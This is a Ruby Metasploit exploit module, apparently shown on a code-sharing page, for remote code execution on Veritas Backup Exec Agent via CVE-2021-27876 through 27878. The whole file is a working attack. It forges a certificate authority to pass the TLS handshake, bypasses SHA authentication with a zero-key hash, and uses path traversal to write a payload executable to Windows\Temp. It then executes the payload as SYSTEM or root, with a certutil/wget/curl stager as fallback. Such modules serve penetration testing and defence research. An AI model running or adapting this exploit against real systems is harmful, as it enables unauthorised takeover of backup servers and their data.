Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb
32981 views
1
# frozen_string_literal: true
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Remote::NDMPSocket
13
include Msf::Exploit::CmdStager
14
include Msf::Exploit::EXE
15
prepend Msf::Exploit::Remote::AutoCheck
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Veritas Backup Exec Agent Remote Code Execution',
22
'Description' => %q{
23
Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.
24
This authentication scheme is no longer used within Backup Exec versions, but hadn't yet been disabled.
25
An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
26
the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges
27
depending on the platform.
28
29
The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
30
including Backup Exec Remote Agent revision 9.3)
31
},
32
'License' => MSF_LICENSE,
33
'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],
34
'References' => [
35
['CVE', '2021-27876'],
36
['CVE', '2021-27877'],
37
['CVE', '2021-27878'],
38
['URL', 'http://web.archive.org/web/20250222002651/https://www.veritas.com/content/support/en_US/security/VTS21-001']
39
],
40
'Targets' => [
41
[
42
'Windows',
43
{
44
'Platform' => 'win',
45
'Arch' => [ARCH_X86, ARCH_X64],
46
'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]
47
}
48
],
49
[
50
'Linux',
51
{
52
'Platform' => 'linux',
53
'Arch' => [ARCH_X86, ARCH_X64],
54
'CmdStagerFlavor' => %w[bourne wget curl echo]
55
}
56
]
57
],
58
'DefaultOptions' => {
59
'RPORT' => 10_000
60
},
61
'Privileged' => true,
62
'DisclosureDate' => '2021-03-01',
63
'DefaultTarget' => 0,
64
'Notes' => {
65
'Reliability' => [UNRELIABLE_SESSION],
66
'Stability' => [CRASH_SAFE],
67
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
68
}
69
)
70
)
71
72
register_options([
73
OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],
74
conditions: ['TARGET', '==', 'Linux'])
75
])
76
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
77
end
78
79
def execute_command(cmd, opts = {})
80
case target.opts['Platform']
81
when 'win'
82
wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""
83
when 'linux'
84
wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""
85
end
86
ndmp_sock = opts[:ndmp_sock]
87
ndmp_sock.do_request_response(
88
NDMP::Message.new_request(
89
NDMP_EXECUTE_COMMAND,
90
NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr
91
)
92
)
93
end
94
95
def exploit
96
print_status('Exploiting ...')
97
98
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
99
fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
100
101
ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)
102
fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status
103
104
ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)
105
fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status
106
107
if target.opts['Platform'] == 'win'
108
filename = "#{rand_text_alpha(8)}.exe"
109
ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)
110
if ndmp_status
111
ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)
112
fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status
113
else
114
print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')
115
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
116
end
117
else
118
print_status('Uploading payload with CmdStager')
119
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
120
end
121
end
122
123
def check
124
print_status('Checking vulnerability')
125
126
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
127
return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
128
129
print_status('Getting supported authentication types')
130
ndmp_msg = ndmp_sock.do_request_response(
131
NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)
132
)
133
ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)
134
print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|
135
"#{AUTH_TYPES[k]} (#{k})"
136
end.join(', ')}")
137
print_status("BE agent revision: #{ndmp_payload.revision}")
138
139
if ndmp_payload.auth_types.include?(5)
140
Exploit::CheckCode::Appears('SHA authentication is enabled')
141
else
142
Exploit::CheckCode::Safe('SHA authentication is disabled')
143
end
144
end
145
146
def ndmp_connect
147
print_status('Connecting to BE Agent service')
148
ndmp_msg = nil
149
begin
150
ndmp_sock = NDMP::Socket.new(connect)
151
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,
152
Rex::ConnectionRefused => e
153
return [false, nil, e.to_s]
154
end
155
begin
156
Timeout.timeout(datastore['ConnectTimeout']) do
157
ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
158
end
159
rescue Timeout::Error
160
return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']
161
else
162
ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)
163
end
164
165
ndmp_msg = ndmp_sock.do_request_response(
166
NDMP::Message.new_request(
167
NDMP::Message::CONNECT_OPEN,
168
NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr
169
)
170
)
171
172
ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)
173
unless ndmp_payload.err_code.zero?
174
return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]
175
end
176
177
[true, ndmp_sock, nil]
178
end
179
180
def tls_enabling(ndmp_sock)
181
print_status('Enabling TLS for NDMP connection')
182
ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)
183
ndmp_tls_certs.forge_ca
184
ndmp_msg = ndmp_sock.do_request_response(
185
NDMP::Message.new_request(
186
NDMP_SSL_HANDSHAKE,
187
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr
188
)
189
)
190
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
191
unless ndmp_payload.err_code.zero?
192
return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]
193
end
194
195
ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)
196
197
ndmp_msg = ndmp_sock.do_request_response(
198
NDMP::Message.new_request(
199
NDMP_SSL_HANDSHAKE,
200
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr
201
)
202
)
203
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
204
unless ndmp_payload.err_code.zero?
205
return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]
206
end
207
208
ndmp_msg = ndmp_sock.do_request_response(
209
NDMP::Message.new_request(
210
NDMP_SSL_HANDSHAKE,
211
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr
212
)
213
)
214
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
215
unless ndmp_payload.err_code.zero?
216
return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]
217
end
218
219
ssl_context = OpenSSL::SSL::SSLContext.new
220
ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)
221
ndmp_sock.wrap_with_ssl(ssl_context)
222
[true, nil]
223
end
224
225
def sha_authentication(ndmp_sock)
226
print_status('Passing SHA authentication')
227
ndmp_msg = ndmp_sock.do_request_response(
228
NDMP::Message.new_request(
229
NDMP_CONFIG_GET_AUTH_ATTR,
230
NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr
231
)
232
)
233
ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)
234
unless ndmp_payload.err_code.zero?
235
return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]
236
end
237
238
ndmp_msg = ndmp_sock.do_request_response(
239
NDMP::Message.new_request(
240
NDMP::Message::CONNECT_CLIENT_AUTH,
241
NdmpConnectClientAuthReq.new(
242
{
243
auth_type: 5,
244
username: 'Administrator', # Doesn't metter
245
hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)
246
}
247
).to_xdr
248
)
249
)
250
ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)
251
unless ndmp_payload.err_code.zero?
252
return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]
253
end
254
255
[true, nil]
256
end
257
258
def win_write_upload(ndmp_sock, filename)
259
print_status('Uploading payload with NDMP_FILE_WRITE packet')
260
ndmp_msg = ndmp_sock.do_request_response(
261
NDMP::Message.new_request(
262
NDMP_FILE_OPEN_EXT,
263
NdmpFileOpenExtReq.new(
264
{
265
filename: filename,
266
dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',
267
mode: 4
268
}
269
).to_xdr
270
)
271
)
272
ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)
273
unless ndmp_payload.err_code.zero?
274
return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]
275
end
276
277
hnd = ndmp_payload.handler
278
exe = generate_payload_exe
279
offset = 0
280
block_size = 2048
281
282
while offset < exe.length
283
ndmp_msg = ndmp_sock.do_request_response(
284
NDMP::Message.new_request(
285
NDMP_FILE_WRITE,
286
NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr
287
)
288
)
289
ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)
290
unless ndmp_payload.err_code.zero?
291
return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]
292
end
293
294
offset += block_size
295
end
296
297
ndmp_msg = ndmp_sock.do_request_response(
298
NDMP::Message.new_request(
299
NDMP_FILE_CLOSE,
300
NdmpFileCloseReq.new({ handler: hnd }).to_xdr
301
)
302
)
303
ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)
304
unless ndmp_payload.err_code.zero?
305
return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]
306
end
307
308
[true, nil]
309
end
310
311
def exec_win_command(ndmp_sock, filename)
312
cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""
313
ndmp_msg = ndmp_sock.do_request_response(
314
NDMP::Message.new_request(
315
NDMP_EXECUTE_COMMAND,
316
NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr
317
)
318
)
319
ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)
320
unless ndmp_payload.err_code.zero?
321
return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]
322
end
323
324
[true, nil]
325
end
326
327
# Class to create CA and client certificates
328
class NdmpTlsCerts
329
def initialize(hostname, ip)
330
@hostname = hostname
331
@ip = ip
332
@ca_key = nil
333
@ca_cert = nil
334
@be_agent_cert = nil
335
end
336
337
SSL_HANDSHAKE_TYPES = {
338
SSL_HANDSHAKE_TEST_CERT: 1,
339
SSL_HANDSHAKE_CSR_REQ: 2,
340
SSL_HANDSHAKE_CSR_SIGNED: 3,
341
SSL_HANDSHAKE_CONNECT: 4
342
}.freeze
343
344
attr_reader :ca_cert, :ca_key
345
346
def forge_ca
347
@ca_key = OpenSSL::PKey::RSA.new(2048)
348
@ca_cert = OpenSSL::X509::Certificate.new
349
@ca_cert.version = 2
350
@ca_cert.serial = rand(2**32..2**64 - 1)
351
@ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")
352
extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)
353
@ca_cert.extensions = [
354
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
355
extn_factory.create_extension('basicConstraints', 'CA:TRUE'),
356
extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')
357
]
358
@ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))
359
@ca_cert.public_key = @ca_key.public_key
360
@ca_cert.not_before = Time.now - 7 * 60 * 60 * 24
361
@ca_cert.not_after = Time.now + 14 * 24 * 60 * 60
362
@ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
363
end
364
365
def sign_agent_csr(csr)
366
o_csr = OpenSSL::X509::Request.new(csr)
367
@be_agent_cert = OpenSSL::X509::Certificate.new
368
@be_agent_cert.version = 2
369
@be_agent_cert.serial = rand(2**32..2**64 - 1)
370
@be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24
371
@be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60
372
@be_agent_cert.issuer = @ca_cert.subject
373
@be_agent_cert.subject = o_csr.subject
374
@be_agent_cert.public_key = o_csr.public_key
375
@be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
376
end
377
378
def default_sslpacket_content(ssl_packet_type)
379
if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]
380
ca_cert = @ca_cert.to_s
381
agent_cert = @be_agent_cert.to_s
382
else
383
ca_cert = ''
384
agent_cert = ''
385
end
386
{
387
ssl_packet_type: ssl_packet_type,
388
hostname: @hostname,
389
nb_hostname: @hostname.upcase,
390
ip_addr: @ip,
391
cert_id1: get_cert_id(@ca_cert),
392
cert_id2: get_cert_id(@ca_cert),
393
unknown1: 0,
394
unknown2: 0,
395
ca_cert_len: ca_cert.length,
396
ca_cert: ca_cert,
397
agent_cert_len: agent_cert.length,
398
agent_cert: agent_cert
399
}
400
end
401
402
def get_cert_id(cert)
403
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')
404
end
405
end
406
407
NDMP_CONFIG_GET_AUTH_ATTR = 0x103
408
NDMP_SSL_HANDSHAKE = 0xf383
409
NDMP_EXECUTE_COMMAND = 0xf30f
410
NDMP_FILE_OPEN_EXT = 0xf308
411
NDMP_FILE_WRITE = 0xF309
412
NDMP_FILE_CLOSE = 0xF306
413
414
AUTH_TYPES = {
415
1 => 'Text',
416
2 => 'MD5',
417
3 => 'BEWS',
418
4 => 'SSPI',
419
5 => 'SHA',
420
190 => 'BEWS2' # 0xBE
421
}.freeze
422
423
# Responce packets
424
class NdmpNotifyConnectedRes < XDR::Struct
425
attribute :connected, XDR::Int
426
attribute :version, XDR::Int
427
attribute :reason, XDR::Int
428
end
429
430
class NdmpConnectOpenRes < XDR::Struct
431
attribute :err_code, XDR::Int
432
end
433
434
class NdmpConfigGetServerInfoRes < XDR::Struct
435
attribute :err_code, XDR::Int
436
attribute :vendor_name, XDR::String[]
437
attribute :product_name, XDR::String[]
438
attribute :revision, XDR::String[]
439
attribute :auth_types, XDR::VarArray[XDR::Int]
440
end
441
442
class NdmpConfigGetHostInfoRes < XDR::Struct
443
attribute :err_code, XDR::Int
444
attribute :hostname, XDR::String[]
445
attribute :os, XDR::String[]
446
attribute :os_info, XDR::String[]
447
attribute :ip, XDR::String[]
448
end
449
450
class NdmpSslHandshakeRes < XDR::Struct
451
attribute :data_len, XDR::Int
452
attribute :data, XDR::String[]
453
attribute :err_code, XDR::Int
454
attribute :unknown4, XDR::String[]
455
end
456
457
class NdmpConfigGetAuthAttrRes < XDR::Struct
458
attribute :err_code, XDR::Int
459
attribute :auth_type, XDR::Int
460
attribute :challenge, XDR::Opaque[64]
461
end
462
463
class NdmpConnectClientAuthRes < XDR::Struct
464
attribute :err_code, XDR::Int
465
end
466
467
class NdmpExecuteCommandRes < XDR::Struct
468
attribute :err_code, XDR::Int
469
end
470
471
class NdmpFileOpenExtRes < XDR::Struct
472
attribute :err_code, XDR::Int
473
attribute :handler, XDR::Int
474
end
475
476
class NdmpFileWriteRes < XDR::Struct
477
attribute :err_code, XDR::Int
478
attribute :recv_len, XDR::Int
479
attribute :unknown, XDR::Int
480
end
481
482
class NdmpFileCloseRes < XDR::Struct
483
attribute :err_code, XDR::Int
484
end
485
486
# Request packets
487
class NdmpConnectOpenReq < XDR::Struct
488
attribute :version, XDR::Int
489
end
490
491
class NdmpSslHandshakeReq < XDR::Struct
492
attribute :ssl_packet_type, XDR::Int
493
attribute :nb_hostname, XDR::String[]
494
attribute :hostname, XDR::String[]
495
attribute :ip_addr, XDR::String[]
496
attribute :cert_id1, XDR::Int
497
attribute :cert_id2, XDR::Int
498
attribute :unknown1, XDR::Int
499
attribute :unknown2, XDR::Int
500
attribute :ca_cert_len, XDR::Int
501
attribute :ca_cert, XDR::String[]
502
attribute :agent_cert_len, XDR::Int
503
attribute :agent_cert, XDR::String[]
504
end
505
506
class NdmpConfigGetAuthAttrReq < XDR::Struct
507
attribute :auth_type, XDR::Int
508
end
509
510
class NdmpConnectClientAuthReq < XDR::Struct
511
attribute :auth_type, XDR::Int
512
attribute :username, XDR::String[]
513
attribute :hash, XDR::Opaque[32]
514
end
515
516
class NdmpExecuteCommandReq < XDR::Struct
517
attribute :cmd, XDR::String[]
518
attribute :unknown, XDR::Int
519
end
520
521
class NdmpFileOpenExtReq < XDR::Struct
522
attribute :filename, XDR::String[]
523
attribute :dir, XDR::String[]
524
attribute :mode, XDR::Int
525
end
526
527
class NdmpFileWriteReq < XDR::Struct
528
attribute :handler, XDR::Int
529
attribute :len, XDR::Int
530
attribute :data, XDR::String[]
531
end
532
533
class NdmpFileCloseReq < XDR::Struct
534
attribute :handler, XDR::Int
535
end
536
end
537
538